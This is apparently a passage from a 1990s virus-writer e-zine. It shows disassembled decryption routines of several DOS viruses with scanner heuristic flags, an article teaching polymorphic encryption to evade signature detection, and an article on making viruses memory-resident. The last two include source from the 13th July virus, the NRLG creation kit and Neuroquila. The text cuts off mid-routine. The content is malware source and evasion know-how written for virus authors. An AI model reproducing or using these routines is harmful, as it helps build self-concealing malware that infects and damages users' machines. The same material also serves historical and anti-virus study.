14CF:05FB 8A05 MOV AL,[DI] ; Get [DI] in AL
14CF:05FD 8AE0 MOV AH,AL ; Get AL in AH
14CF:05FF 51 PUSH CX ; Save it ont top of the stack
14CF:0600 B104 MOV CL,04 ; Let CL be 4
14CF:0602 D2EC SHR AH,CL ; Shift AH CL-times (4)
14CF:0604 D2E0 SHL AL,CL ; Same on AH but the other way
14CF:0606 0AC4 OR AL,AH ; Store AH next to AL
14CF:0608 8805 MOV [DI],AL ; Store AL at [DI]
14CF:060A 47 INC DI ; INCrease DI in 1
14CF:060B 59 POP CX ; Restore the no. of bytes to CX
14CF:060C E2ED LOOP 05FB ; Decrypting...
14CF:060E C3 RET ; Return to 306h, decrypted by now

-u
14CF:0306 BF0001 MOV DI,0100
14CF:0309 8D9C8003 LEA BX,[SI+0380]
14CF:030D B90200 MOV CX,0002
14CF:0310 87F3 XCHG SI,BX
14CF:0312 FC CLD
14CF:0313 F2 REPNZ
14CF:0314 A5 MOVSW
14CF:0315 87F3 XCHG SI,BX
14CF:0317 C684C20500 MOV BYTE PTR [SI+05C2],00
14CF:031C C684780500 MOV BYTE PTR [SI+0578],00
14CF:0321 B90500 MOV CX,0005
14CF:0324 8A947004 MOV DL,[SI+0470]

²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²
³³³³³ 5 VIRUS:AC-916.COM infected by Arcv.Joanna {1} virus ³³³³³
²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²

*********************************************************************
c No checksum / recovery information (Anti-Vir.Dat) available.
F Suspicious file access. Might be able to infect a file.
A Suspicious Memory Allocation. The program uses a non-standard
way to search for, and/or allocate memory.
# Found a code decryption routine or debugger trap. This is common
for viruses but also for some copy-protected software.
L The program traps the loading of software. Might be a
virus that intercepts program load to infect the software.
M Memory resident code. The program might stay resident in memory.
U Undocumented interrupt/DOS call. The program might be just tricky
but can also be a virus using a non-standard way to detect itself.
B Back to entry point. Contains code to re-start the program after
modifications at the entry-point are made. Very usual for viruses.
T Incorrect timestamp. Some viruses use this to mark infected files.
*********************************************************************

-u
14CF:0100 E90200 JMP 0105 ; Jump to address 105h
14CF:0103 CD20 INT 20
14CF:0105 BE1601 MOV SI,0116 ; 116h = start decrypting.
14CF:0108 B9BF01 MOV CX,01BF ; Size = 1bfh bytes
14CF:010B 2E CS:
14CF:010C 81040B28 ADD WORD PTR [SI],280B; ADD 280bh to SI
14CF:0110 83C602 ADD SI,+02 ; Now ADD 2
14CF:0113 49 DEC CX ; SUBstract 1 from CX,
; which will decrypt it
14CF:0114 75F5 JNZ 010B ; Until CX=0

When CX comes to 0 bytes, the virus will be decrypted. Here you have it
from 116h, encrypted, with CX=1bfh
-u116
14CF:0116 DDD8 FSTP ST(0)
14CF:0118 F5 CMC
14CF:0119 2F DAS
14CF:011A 22F1 AND DH,CL
14CF:011C F662E5 MUL BYTE PTR [BP+SI-1B]
14CF:011F F6FB IDIV BL
14CF:0121 E514 IN AX,14
14CF:0123 E6FC OUT FC,AL
14CF:0125 8FFA POP DX
14CF:0127 D6 DB D6
14CF:0128 C2EB75 RET 75EB

And now decrypted, with 0 in CX... its much more legible, huh? ;-)

-u116
14CF:0116 E80000 CALL 0119
14CF:0119 58 POP AX
14CF:011A 2D1901 SUB AX,0119
14CF:011D 8BF0 MOV SI,AX
14CF:011F 1E PUSH DS
14CF:0120 06 PUSH ES
14CF:0121 0E PUSH CS
14CF:0122 1F POP DS
14CF:0123 0E PUSH CS
14CF:0124 07 POP ES
14CF:0125 B805FF MOV AX,FF05
14CF:0128 CD13 INT 13

²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²
³³³³³ 6 VIRUS:ANTIMIT.COM infected by Anti-Mit virus ³³³³³
²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²

*********************************************************************
c No checksum / recovery information (Anti-Vir.Dat) available.
F Suspicious file access. Might be able to infect a file.
S Contains a routine to search for executable (.COM or .EXE) files.
# Found a code decryption routine or debugger trap. This is common
for viruses but also for some copy-protected software.
D Disk write access. The program writes to disk without using DOS.
T Incorrect timestamp. Some viruses use this to mark infected files.
J Suspicious jump construct. Entry point via chained or indirect
jumps. This is unusual for normal software but common for viruses.
B Back to entry point. Contains code to re-start the program after
modifications at the entry-point are made. Very usual for viruses.
*********************************************************************

14CF:0100 E80500 CALL 0108 ; CALL to address 108h

-u108
14CF:0108 BE2A01 MOV SI,012A ; Let's get 12ah in SI
14CF:010B 8A260701 MOV AH,[0107] ; Get [107h] into AH
14CF:010F EB12 JMP 0123 ; Address 123h

-u123
14CF:0123 8BFE MOV DI,SI ; Copy SI into DI
14CF:0125 B94F01 MOV CX,014F ; CX = 14fh bytes
14CF:0128 EBE8 JMP 0112 ; Jump to 112h

-u112
14CF:0112 AC LODSB ; LOaD a String of Bytes
14CF:0113 32C4 XOR AL,AH ; Store AH next to AL
14CF:0115 AA STOSB ; STOre a String of Bytes
14CF:0116 E2FA LOOP 0112 ; Decrypting...

Dump from 100h, after running over loop 112h, therefore decrypted:

-d100
14CF:0100 E8 05 00 90 EB 4D 90 1B-BE 2A 01 8A 26 07 01 EB .....M...*..&...
14CF:0110 12 90 AC 32 C4 AA E2 FA-B4 19 CD 21 8A F0 B4 0E ...2.......!....
14CF:0120 CD 21 C3 8B FE B9 4F 01-EB E8 4D 49 54 20 53 75 .!....O...MIT Su
14CF:0130 78 21 20 24 11 02 2A 2E-43 4F 4D 00 5B 41 6E 74 x! $..*.COM.[Ant
14CF:0140 69 2D 4D 49 54 5D 00 46-8C 72 73 D8 53 74 72 8C i-MIT].F.rs.Str.

For you the curious, virus was like this when encrypted:

-d100
14CF:0100 E8 05 00 90 EB 4D 90 1B-BE 2A 01 8A 26 07 01 EB .....M...*..&...
14CF:0110 12 90 AC 32 C4 AA E2 FA-B4 19 CD 21 8A F0 B4 0E ...2.......!....
14CF:0120 CD 21 C3 8B FE B9 4F 01-EB E8 56 52 4F 3B 48 6E .!....O...VRO;Hn
14CF:0130 63 3A 3B 3F 0A 19 31 35-58 54 56 1B 40 5A 75 6F c:;?..15XTV.@Zuo
14CF:0140 72 36 56 52 4F 46 1B 5D-97 69 68 C3 48 6F 69 97 r6VROF.].ih.Hoi.

²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²
³³³³³ 7 VIRUS:ARARA.COM infected by Arara virus ³³³³³
²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²

*********************************************************************
c No checksum / recovery information (Anti-Vir.Dat) available.
F Suspicious file access. Might be able to infect a file.
# Found a code decryption routine or debugger trap. This is common
for viruses but also for some copy-protected software.
G Garbage instructions. Contains code that seems to have no purpose
other than encryption or avoiding recognition by virus scanners.
@ Encountered instructions which are not likely to be generated by
an assembler, but by some code generator like a polymorphic virus.
*********************************************************************

-u
14CF:0100 E91500 JMP 0118 ; Jump to address 118h
14CF:0103 9E SAHF

-u118
14CF:0118 90 NOP
14CF:0119 F8 CLC ; CLear Carry flag
14CF:011A BBC904 MOV BX,04C9 ; Get 4c9h in BX
14CF:011D 87CB XCHG CX,BX ; XCHanGe BX for CX
14CF:011F F8 CLC ; CLear Carry flag
14CF:0120 BE2B01 MOV SI,012B ; Start of decryption
14CF:0123 82048F ADD BYTE PTR [SI],8F ; ADD 8f bytes to
14CF:0126 90 NOP ; address 12bh (59h)
14CF:0127 F5 CMC ; CoMplement Carry flag
14CF:0128 46 INC SI ; INCrease by 1 SI
14CF:0129 E2F8 LOOP 0123 ; Decrypting...
14CF:012B*59* POP CX

Virus was like this when encrypted...

-d200
14CF:0200 25 8B 2B F1 71 3E 92 7F-90 C9 2C 70 6F F4 64 70 %.+.q>....,po.dp
14CF:0210 70 54 CF CB CA 29 71 C8-B1 3E 92 25 AF 3E 92 CA pT...)q..>.%.>..
14CF:0220 29 71 B4 B1 2B 8F 6E 3E-92 7F 90 7F 78 C7 34 CC )q..+.n>....x.4.
14CF:0230 B2 C3 B2 C3 B2 CE FC F7-4C 74 F7 51 FA F7 4C 74 ........Lt.Q..Lt
And now, decrypted, it's this way:

-d
14CF:0200 B4 1A BA 80 00 CD 21 0E-1F 58 BB FF FE 83 F3 FF ......!..X......
14CF:0210 FF E3 5E 5A 59 B8 00 57-40 CD 21 B4 3E CD 21 59 ..^ZY..W@.!.>.!Y
14CF:0220 B8 00 43 40 BA 1E FD CD-21 0E 1F 0E 07 56 C3 5B ..C@....!....V.[
14CF:0230 41 52 41 52 41 5D 8B 86-DB 03 86 E0 89 86 DB 03 ARARA]..........

²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²
³³³³³ 8 VIRUS:ATOMANT.COM the ATOMANT.UNK1 virus or variant ³³³³
²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²

*********************************************************************
c No checksum / recovery information (Anti-Vir.Dat) available.
A Suspicious Memory Allocation. The program uses a non-standard
way to search for, and/or allocate memory.
# Found a code decryption routine or debugger trap. This is common
for viruses but also for some copy-protected software.
E Flexible Entry-point. The code seems to be designed to be linked
on any location within an executable file. Common for viruses.
L The program traps the loading of software. Might be a
virus that intercepts program load to infect the software.
U Undocumented interrupt/DOS call. The program might be just tricky
but can also be a virus using a non-standard way to detect itself.
Z EXE/COM determination. The program tries to check whether a file
is a COM or EXE file. Viruses need to do this to infect a program.
O Found code that can be used to overwrite/move a program in memory.
B Back to entry point. Contains code to re-start the program after
modifications at the entry-point are made. Very usual for viruses.
1 Found instructions which require a 80186 processor or above.
*********************************************************************

14CF:0100 E99F10 JMP 11A2 ; Jump to 11a2h


14CF:0103 0D0A4D OR AX,4D0A

-u11a2
14CF:11A2 55 PUSH BP ; Save BP
14CF:11A3 E80000 CALL 11A6 ; Call next address
14CF:11A6 5D POP BP ; Restore BP (delta offset)
14CF:11A7 51 PUSH CX ; Save CX
14CF:11A8 50 PUSH AX ; Save AX
14CF:11A9 2E CS:
14CF:11AA 8B46FA MOV AX,[BP-06] ; Get [BP-6] into AX
14CF:11AD 8BF5 MOV SI,BP ; MOVe BP into SI
14CF:11AF 83C618 ADD SI,+18 ; ADD 18h to SI
14CF:11B2 B94108 MOV CX,0841 ; Number of bytes to decrypt
14CF:11B5 2E CS:
14CF:11B6 3004 XOR [SI],AL ; Get AL in [SI]
14CF:11B8 2E CS:
14CF:11B9 0024 ADD [SI],AH ; ADD AH to [SI]
14CF:11BB 46 INC SI ; INCrease SI by 1
14CF:11BC E2F7 LOOP 11B5 ; Dcrypt from 11beh
14CF:11BE A5 MOVSW
14CF:11BF 334F33 XOR CX,[BX+33]

Part of the decrypted text...

14CF:1850 0D 0A 4D 43 20 48 61 6D-6D 65 72 20 72 61 70 2D ..MC Hammer rap-


14CF:1860 73 7A 74 A0 72 20 82 73-20 50 45 50 53 49 20 93 szt.r .s PEPSI .
14CF:1870 72 81 6C 74 2C 20 64 65-20 6D 6F 73 74 20 6B 69 r.lt, de most ki
14CF:1880 63 73 65 72 82 6C 74 81-6B 20 61 20 50 45 50 53 cser.lt.k a PEPS
How was it like when encrypted? Like this :-)

14CF:1850 B2 B1 F2 C8 A7 CF E6 12-12 EA 19 A7 19 E6 17 D2 ................


14CF:1860 18 01 1B 27 19 A7 09 18-A7 F7 CA F7 F8 CE A7 38 ...'...........8
14CF:1870 19 06 13 1B D3 A7 EB EA-A7 12 14 18 1B A7 10 EE ................
14CF:1880 E8 18 EA 19 09 13 1B 06-10 A7 E6 A7 F7 CA F7 F8 ................

²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²
³³³³³ 9 VIRUS:AUS-369B.COM Found the AUSSIE.PARASITE.369 virus ³³³³³
²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²

*********************************************************************
c No checksum / recovery information (Anti-Vir.Dat) available.
F Suspicious file access. Might be able to infect a file.
S Contains a routine to search for executable (.COM or .EXE) files.
# Found a code decryption routine or debugger trap. This is common
for viruses but also for some copy-protected software.
E Flexible Entry-point. The code seems to be designed to be linked
on any location within an executable file. Common for viruses.
*********************************************************************

-u
14CF:0100 E9D200 JMP 01D5 ; Jump to 1d5h

-u1d5
14CF:01D5 B9CD00 MOV CX,00CD ; No of bytes in CX
14CF:01D8 BE2301 MOV SI,0123 ; Address 123h in SI
14CF:01DB 03360101 ADD SI,[0101] ; ADD [101h] to SI
14CF:01DF 803401 XOR BYTE PTR [SI],01 ; MOVe 01 into [SI]
14CF:01E2 46 INC SI ; INCrease SI by 1
14CF:01E3 E2FA LOOP 01DF ; Decrypt from 1f6h...
14CF:01E5 BE3402 MOV SI,0234 ; Address 234h in SI
14CF:01E8 03360101 ADD SI,[0101] ; ADD [101h] to SI
14CF:01EC B93C00 MOV CX,003C ; No of bytes to decrypt
14CF:01EF 803401 XOR BYTE PTR [SI],01 ; MOVe 01 into SI
14CF:01F2 46 INC SI ; INCrease SI by 1
14CF:01F3 E2FA LOOP 01EF ; Decrypt from 306h

Decrypted text...

-d280
14CF:0280 89 D6 80 3C E3 75 3A EB-9D BA 0C 01 24 2A 2E 43 ...<.u:.....$*.C
14CF:0290 4F 4D 00 5B 41 75 73 73-69 65 20 50 61 72 61 73 OM.[Aussie Paras
14CF:02A0 69 74 65 20 76 49 52 55-53 20 20 76 2E 20 31 2E ite vIRUS v. 1.
14CF:02B0 31 5D 0D 5B 62 4C 41 4D-45 20 6F 54 48 45 52 53 1].[bLAME oTHERS
14CF:02C0 5D B8 00 57 CD 21 51 52-B9 CD 00 BE 23 01 03 36 ]..W.!QR....#..6

And encrypted...

-d280
14CF:0280 88 D7 81 3D E2 74 3B EA-9C BB 0D 00 25 2B 2F 42 ...=.t;.....%+/B
14CF:0290 4E 4C 01 5A 40 74 72 72-68 64 21 51 60 73 60 72 NL.Z@trrhd!Q`s`r
14CF:02A0 68 75 64 21 77 48 53 54-52 21 21 77 2F 21 30 2F hud!wHSTR!!w/!0/
14CF:02B0 30 5C 0C 5A 63 4D 40 4C-44 21 6E 55 49 44 53 52 0\.ZcM@LD!nUIDSR
14CF:02C0 5C B9 00 57 CD 21 51 52-B9 CD 00 BE 23 01 03 36 \..W.!QR....#..6

²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²
³³³³³ 10 VIRUS:BETA0575.COM infected by Beta_Boys virus ³³³³³
²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²
*********************************************************************
c No checksum / recovery information (Anti-Vir.Dat) available.
# Found a code decryption routine or debugger trap. This is common
for viruses but also for some copy-protected software.
E Flexible Entry-point. The code seems to be designed to be linked
on any location within an executable file. Common for viruses.
L The program traps the loading of software. Might be a
virus that intercepts program load to infect the software.
T Incorrect timestamp. Some viruses use this to mark infected files.
B Back to entry point. Contains code to re-start the program after
modifications at the entry-point are made. Very usual for viruses.
*********************************************************************

-u100
14CF:0100 E90000 JMP 0103 ; Jump to 103h, a call
14CF:0103 E80100 CALL 0107 ; CALL address 107h

-u107
14CF:0107 5D POP BP ; Restore BP (delta offset)
14CF:0108 81ED0301 SUB BP,0103 ; SUBstract 103h to BP
14CF:010C 8D9E2001 LEA BX,[BP+0120] ; [BP+0120] to BX
14CF:0110 8D96A601 LEA DX,[BP+01A6] ; [BP+01a6] to DX
14CF:0114 3E DS:
14CF:0115 8A8E0301 MOV CL,[BP+0103] ; Encryption key to CL
14CF:0119 3BDA CMP BX,DX ; Is BX=DX ?
14CF:011B 7405 JZ 0122 ; If they are virus is
; decrypted
; If not, continue
14CF:011D 300F XOR [BX],CL ; Decrypt byte after byte
14CF:011F 43 INC BX ; INCrease BX by 1
14CF:0120 EBF7 JMP 0119 ; Jump to 119h to continue
14CF:0122 90 NOP
14CF:0123 9F LAHF
14CF:0124 8CAC139F MOV [SI+9F13],CS

Blade Runner/29A
Los Angeles, 2019
Polymorphism
*************************************************************************>
An¡bal Lecter

I know it may be a bit strong featuring both an encryption article with a


polymorphism one in the same issue, but this one is dedicated to those of
you who have a more advanced level. If you are still a bit confused with
encryption, better forget this article and try with YAM.

We'll very basically introduce polymorphic routines: design, construction


and functioning.

In this article, we'll study a 'pseudo-polymorphic' generator, this is:


grounding on a basic routine, make more difficult the detection of the
virus (as the routine's kernel isn't variated), depending on your aims of
work.

What's a PER (Polymorphic Encryption Routine)?:

PERs are born aiming to avoid detection schemes based on the uneffective
strings of bytes.

These systems are based on the idea that viruses always preserve a number
of stable bytes in each generation (at least in the header, when encryp-
ted).

With PERs we are trying to avoid this unconvinience, always trying to va-
riate that header, either:

1. Lexically: substituting directly some hex codes for others.

label : 2825 sub [di],ah


turns into: 0005 add [di],al

In this case it would be enough to substract 2820h from the word at


label:, although we should have thought that we should put the value
to use in AH or AL; depending on the case, such code would change too.
How? keep on reading }:-)

2. Sintactically: changing the order of the commands, but seeking the sa-
me result.

label : add [di], ah


xor [di], ah

turns to: xor [di], ah


add [di], ah

This time we should keep in mind the order during encryption so as to


invert it correctly.

3. Morphologically: variating its external appearance, but maintaining


its kernel, including garbage in between the code.

In order to do this, we can take hand of the classics:

90h = nop
f8h = clc
f9h = stc
fah = cli
fbh = sti
fch = cld
dch = std

Look out! these last two are dangerous if using registers SI, DI and
CX at the same time, cause you'll have to bear it in mind whether you
pretend the loop to increase or decrease :-P

Of course, you can combine them; the easiest example is for the ty-
pical bait files:

dw 2000 dup (90fbh)


mov ax,4c00h
int 21h

This way, we can avoid the virus from not infecting it by searching a
a big number of the same bytes. For the decrypting header, we would
have a routine with the XOR and a little algorithm which would add a
series of 'non-code'.

4. Finally, combining the three preceeding ways as you like. Further on,
we'll see a bit on language grammar, specially Conway notation ;-) It
would be equally possible to see BNF, but as far as i see it, it is
less clear.

From the three basic methods we've just seen for making possible the mu-
tations, the one i see the easiest is the third one, as it just affects
the code size and the 'innocent' instructions we include in it. The 2nd 1
is a bit more complex, because of having to change the order of the ins-
tructions though they're kept the same. Whereas the first one, it's nece-
ssary to know all of the opcodes and build a table (we have an example in
MtE).

I'll start with the third case; once you pick it up, you all will know e-
nough so as to jump directly onto the second type as well as the third,
or even combine them all, or whatever you think of.

Let's see it with a direct example; let's take the decryption routine
from the 13th July virus (original source code by Jordi Mas, a spanish
ex-AVer dickhead which was known to have some of their viruses in the
wild... and these viruses sucked as much as he did) }:-)

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8
longitud equ fin-inicio_virus ; Defines the size
inicio_virus:
inicio: mov al,cs:hasta_final ; Decrypts the executable
xor al,090h ; viral code
mov si,offset hasta_final
mov cx,longitud
des_bl: xor byte ptr cs:[si],al
inc si
loop des_bl
hasta_final db 90h ; Stores the random value
; it uses for the encryption
; .... ; routine
; 'Normal' viral code
; ....
fin: ; End of the code
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8

In this case, we can see how the string of bytes that starts at 'inicio'
and goes until 'hasta_final' (keeping the encryption value outside) will
always be the same in each infection; it will only have 255 different po-
ssibilities plus one more in which the code will be visible (00h). But
these strings don't change: the virus is 100% detectable.

It can be mutated, but must be done hand-helped, for instance, fitting


into it some of these 'innocent' bytes in between the first and the se-
cond instruction. Nevertheless, this can be done by any lamer ;-) We are
leet and can do it better, can't we? ;-)

In this approach to polymorphism by the third method, we can notice three


of its characteristics:

1. Routine's kernel doesn't change.


2. The size does.
3. Distance in bytes between main instructions also variate.

How can we do it? let's see:

Grammar in Conway notation


**************************

This kind of grammar, as some of you will yet know, is mostly used to
describe programming language's structure; it is also valid for spoken
language, and it is used in AI for recognizing speech, or at least that's
what i think.

What's pretended with it is to represent the morphological structure of


language by means of a flow chart. Take as an example:

Ú*****®********®************®***********¿
³ Ú***¯****end***´
start ³ ³ ³
¯*Â**article***subject*Â*verb Å**¯**adverb***¯*********Ù ³
³ ³ ³ Ú*mode*****´
³ ³ ³ ³ ³
À*¯**pronoun***¯*****Ù À*****¯***manner*************Å*time*****´
³ ³
À*place****Ù

Let's see it in detail:

Ú***********®*****************®************¿
³ Ú***¯****(end)****¯*****´
(start) ³ ³ ³
*¯**The**Â*virus**Â*infected*Å****always***¯****Ù Ú*massively***´
³ ³ ³ ³ ³
À*ZhengxiÙ À****************************Å*fr.3h to 5h*´
³ ³
À*some PCs****Ù

Experts on language will pardon me... this ain't a grammar lesson ;-)
If we oberve and analyze the diagram, we can see it is possible to say
the same with different words. Eg:

"The virus always infected"


"The virus infected massively"
"The Zhengxi virus infected from 3h till 5h"

But we're also allowed to 'toy' around. Eg:

"The virus infected always, always"


"The Zhengxi virus infected massively from 3h till 5h some PCs"
"The Zhengxi virus infected always some PCs, always from 3h till 5h,
always massively"

Can you get the 'hidden' intention of this explanation? ;-)

Better then, cause next issue we'll put all of this into practice and be-
tter to have all the concepts assimilated.

* An¡bal *
Upper memory residency
*************************************************************************>
IntrusO

Well, i'll try to describe some routines used by some viruses to copy
themselves into upper memory... in order to do this, i'll try to describe
what's that we call upper memory, type we're interested in, the MCB, etc.
Then i'll try to trace a bit of Neuroquila, looking for the techniques it
it uses for this kind of residency. Let's start :-)

Ú****************¿
³ Upper Memory ³
À****************Ù

DOS has something we call UMBs; the segment where they start is kept at
offset 1fh at the information table about disk buffers whose direction is
returned at ES:BX+12h by the get list of lists -52h-, but in order to be
able to get onto upper memory blocks, these must be linked to conven-
tional memory blocks; if not, we'll do it by function 58h (Neuroquila vi-
rus does this) ;-) The format of MCBs at UMBs is the following:

offset 0 byte: 5ah if the last one and 4dh otherwise


*******************************************************
" 1 word: with the PID (Process ID)
*******************************************************
" 3 word: size of block in paragraphs
*******************************************************
" 8 8 bytes: 'UMB' if first block and SM if the last one
*******************************************************

Then we also have this other memory we're also interested in... the XMS
controller, which Neuroquila (how not!) does also use... the XMS contro-
ller (HIMEM.SYS loads it) adds functions to manage upper memory.

In order to employ the XMS controller services we must check function 43h
int 2fh (multiplex), checking for 80h in AL (what Neuroquila does).

Once we know XMS is there, we must ask where to find it, with subfunction
10h, as XMS is not called by means of an int. It would be something like:

mov ax,4310h ; Ask address


int 2fh
mov xms_seg,es ; Save it
mov xms_off,bx

Where xms_** would be a struc type of:

xms_mgr label dword


xms_off dw 0
xms_seg dw 0

Then, when we would want to use the manager, we'd use function number at
AH, and run a call xms_mgr.

Ú***************************¿
³ Normal memory blocks ³
À***************************Ù
(Erhmm... i think i sould have started here O:))

Memory blocks under DOS are bytes arrays, always multiples of 16. There-
fore, a 16 bit word may keep the address of any part of the memory inside
inside the meg an 8086 can handle. When a program is run, the system cre-
ates two blocks for itself: the program memory block, and the enviroment
memory block.

When a program is run, DOS searches the largest memory block available,
and assigns it to the program. The first paragraph address is called PID;
moreover, in the first 256 bytes of this area, DOS creates PSP. The en-
vironment block is the zone where variables are kept: PATH, SET, etc. Now
let's talk about MCBs (Memory Control Blocks), as both the program block
with the enviroment are following a header that contains the information
about the assigned MCB. This way:

offset 0 byte: ID
***************************************
" 1 PID owner
***************************************
" 3 size
***************************************
" 5 to 7 reserved
***************************************
" 8 to 15 name of owner
***************************************

Usually, a virus would subtract its length from the size kept at offset 3
and then call int 21h function 4ah to free the memory, and get it again
somewhere else with function 48h. After it, it would mark the MCB with an
an 8 at offset 1 (PID). Why? Because system has this PID; this way, it
'tricks' DOS not to use that portion of memory; it's only left to rep mo-
vsb into the block.

Memory managing functions


*************************
48h - Allocate memory block
Input: BX = size of block, in paragraphs
Output: if CF = 1, AX = error code
AX:0 = address of memory block
BX = if there was an error, it contains the maximum
size available
49h - Free memory block
Input: ES = Memory block segment
Output: if CF = 1 , AX = error code
4ah - Modify allocated memory blocks
Input: ES = Memory block segment
BX = new size of block, in paragraphs
Output: if CF = 1 , AX = error code
BX = if there was an error, it contains the maximum
size available

This can be seen, for instance, in this routine i took from the NRLG vi-
rus creation tool. I think it's very easy to understand... hope no one
turns up with the (c) cause i wouldnt mind to take the routine from some-
where else and this way i'm promoting it };)
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - >8
push cs ;
pop ax ;ax = my actual segment
dec ax ;dec my segment for look my MCB
mov es,ax ;
mov bx,es:[3] ;read the #3 byte of my MCB =total used memory
;***************************************************************
push cs ;
pop es ;
sub bx,(offset fin - offset start + 15)/16 ;subtract the large of my virus
sub bx,17 + offset fin ;and 100H for the PSP total
mov ah,4ah ;used memory
int 21h ;put the new value to MCB
;***************************************************************
mov bx,(offset fin - offset start + 15)/16 + 16 + offset fin
mov ah,48h ;
int 21h ;request the memory to fuck DOS!
;***************************************************************
dec ax ;ax=new segment
mov es,ax ;ax-1= new segment MCB
mov byte ptr es:[1],8 ;put '8' in the segment
;**************************************************************
inc ax ;
mov es,ax ;es = new segment
lea si,[bp + offset start] ;si = start of virus
mov di,100h ;di = 100H (psp position)
mov cx,offset fin - start ;cx = lag of virus
push cs ;
pop ds ;ds = cs
cld ;mov the code
rep movsb ;ds:si >> es:di
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - >8

This would be the way to copy into memory for a .COM infector. There are
some viruses which are clumsier, to say it some way, like the 'famous' (i
still can't understand why) Friday 13th (Jerusalem), which calls int 21h,
function 31h in order to stay resident, having to execute itself again...
it isn't worth to waste our time with that, and i'm sorry for those who
use *that*, but i consider it bullshit... a virus oughts to be resident!

Well, up to this point, someone will be pleading for some code from Neu-
roquila ;D here it is... :)

try_to_move_virus:
push ds
push es
mov ah,52h ; get list of Lists
int 21h
mov ds,word ptr es:[bx-2] ; First MCB segment
mov si,10h
cmp byte ptr [si-0ch],80h ; ¨block size > 80FFh paragraphs?
mov al,0
ja DOS2_not_loaded_yet ; sure
mov di,memory_size ; size it needs
; memory_size = (offset memory_top - offset start + 15) /16
call alloc_mem

Here, we'll have a deep look into this interesting routine ;)

Ú*********************************¿
³ Memory allocation routine ³
À*********************************Ù

alloc_mem:

mov ax,4300h
int 2fh ; He asks for XMS
cmp al,80h
jnz no_xms_driver

Curiously, we should check for the 2fh vector to be different from 0, coz
that would mean that XMS isn't initialized for that DOS version and the
system would hang; anyway, i've seen NO program to bear this in mind...
can it be, anyway, a bug of Neuroquila? }:)

Take it easy, i know some of you are heavy fans of this virus :DDD It is
not a bug; Neuroquila first checks for the DOS version it's running under
;)

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - >8
mov ax,4310h
int 2fh
mov word ptr xms_addr,bx
mov word ptr xms_addr+2,es ; What i said before ;)
mov ah,10h ; Allocate upper memory
mov dx,di ; size in paragraphs
call xms_addr ; take it as an int
dec ax ; are we going?
jnz no_xms_driver ; nope
mov bp,bx ; BP = UMB segment
ret ; and returns

no_xms_driver:

; XMS isn't available, allocate upper memory, DOS 5.0 needed

mov ax,5800h
int 21h ; get strategy
push ax
mov ax,5801h ; low memory best fit
push ax
mov bx,0080h ; puts allocation strategy
int 21h ; BL=new strategy BH=00 (DOS 5+)

mov ax,5802h ; low memory last fit


int 21h ; get UMB state
mov ah,0 ; preserve it
push ax
mov ax,5803h
push ax
mov bl,1 ; Connects UMB blocks
int 21h
mov ah,48h
mov bx,di ; Allocate memory, BX = para
int 21h ; of memory
xchg bp,ax ; BP = assigned segment
pop ax
pop bx
int 21h
pop ax
pop bx
int 21h ; Restore strategy
ret ; and returns
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - >8

Well, well, well, now we continue with the main routine...

mov dx,bp ;-) let's remember what's in BP


cmp dh,0A0h ; DX=0A000h
jb in_low_mem ; low_mem? then go down!
dec bp
mov ds,bp
mov ax,di
mov word ptr [si-0fh],8 ; MCB belongs to system
jmp move_virus ; just copy it

in_low_men:

Let's see several interesting properties of memory blocks in DOS 4.0 and
5.0, that Neuroquila will 'work' with ;)

Well, since DOS 3.1, first memory block is a system data segment, which
contains the device drivers in CONFIG.SYS. From DOS 4.0 and further on,
this block is divided into smaller ones, each of which, preceeded by a
MCB with the following structure:

offset 0: Byte, type of segment:


'D' - Device driver
'E' - " " extension
'I' - IFS driver (Installable File System)
'F' - FILES = If FILES > 5, place where they are kept
'X' - FCBS = place where kept
'C' - BUFFERS = /X Expanded Memory buffers
'B' - BUFFERS = buffers area
'L' - LASTDRIVE = place where kept
'S' - STACKS = system code and stack zone
'T' - INSTALL = this order's area

offset 1: Word, indicates where the subsegment starts (generally


after it)

offset 3: Word, size of subsegment (paragraphs)

offset 8: 8 bytes: in types 'D' and 'I', name of file that loaded
the driver

This way, since DOS 4.0 once found first MCB, we can jump it and take the
next one. In DOS 5.0, system blocks have 'SC' (System Code) or 'SD' (Sys-
tem Data, which would be equal to those of the DOS 4.0) in their name.

It is here where Neuroquila starts to check this MCB of the subblocks.

push ds
cmp byte ptr [si],46h ; FILES= ? 'F' (in hex)
jz next_subMCB
cmp byte ptr [si],44h ; DEVICE= ? 'D'
jnz no_subMCB

next_subMCB:
cmp byte ptr [si],4dh ; next MCB? (5ah if last)
jz last_subMCB
cmp byte ptr [si],54h ; INSTALL=? 'T'
jz last_subMCB
mov ax,word ptr [si+1] ; MCB owner
dec ax
mov es,ax
add ax,word ptr [si+3] ; More size for memory block
mov ds,ax
